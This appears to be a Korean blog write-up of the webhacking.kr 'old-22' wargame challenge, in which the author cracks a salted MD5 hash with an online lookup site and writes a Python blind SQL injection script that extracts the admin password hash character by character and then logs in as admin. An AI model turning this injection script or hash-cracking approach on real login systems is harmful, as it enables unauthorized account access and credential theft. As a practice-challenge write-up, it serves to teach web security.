old-22 풀이
2024. 3. 3. 16:45ㆍwebhacking.kr
728x90
admin으로 로그인을 해야 풀리는 문제입니다
컬럼 이름을 친절하게 알려주고 있는 걸 보니, SQL Injection 문제인 듯합니다
페이지 코드를 살펴봤는데 별다른 힌트는 없었습니다
Blind SQL Injection 문제일 것이라 예상하고, 우선 가입부터 해주겠습니다
로그인을 하니 password hash라는 것이 나옵니다
형태를 보니 md5처럼 생겼는데, 복호화해서 무슨 내용인지 확인해 보겠습니다
복호화는 아래 사이트에서 진행했습니다
(다른 사이트에서 하니까 값이 안 나오더라고요....)
https://hashes.com/en/decrypt/hash
복호화를 해보니, 제가 가입한 계정명 뒤에 apple이 붙어있는 걸 확인할 수 있었습니다
그러면 32자리 해시값을 구해서 복호화를 한 뒤, apple 앞에 붙은 글자만 따와서 비밀번호로 쓰면 될 것 같습니다
바로 Blind SQL Injection 코드 짜고, 실행해 보겠습니다
import requests
url = 'https://webhacking.kr/challenge/bonus-2/'
true_string = 'Wrong password!'
L = 32
pw = ''
def query(payload):
data = {'uuid': payload}
cookies = {'PHPSESSID': 'hvaie55rjafvi5g21kalhtk3q3'}
r = requests.post(url, data=data, cookies=cookies)
content = r.text
return true_string in content
for pos in range(1, L + 1):
for character in range(0, 128):
if query("admin' and ord(substr(pw,{},1))={}#".format(pos, character)) is True:
pw += chr(character)
break
print('pw: {}'.format(pw))
정상적으로 hash 값이 나온 것 같습니다
이제 이 값을 아까 사용했던 사이트에 넣어주겠습니다
wowapple이 결과로 나왔으니, admin 계정의 비밀번호는 wow겠네요
바로 로그인해줍니다
728x90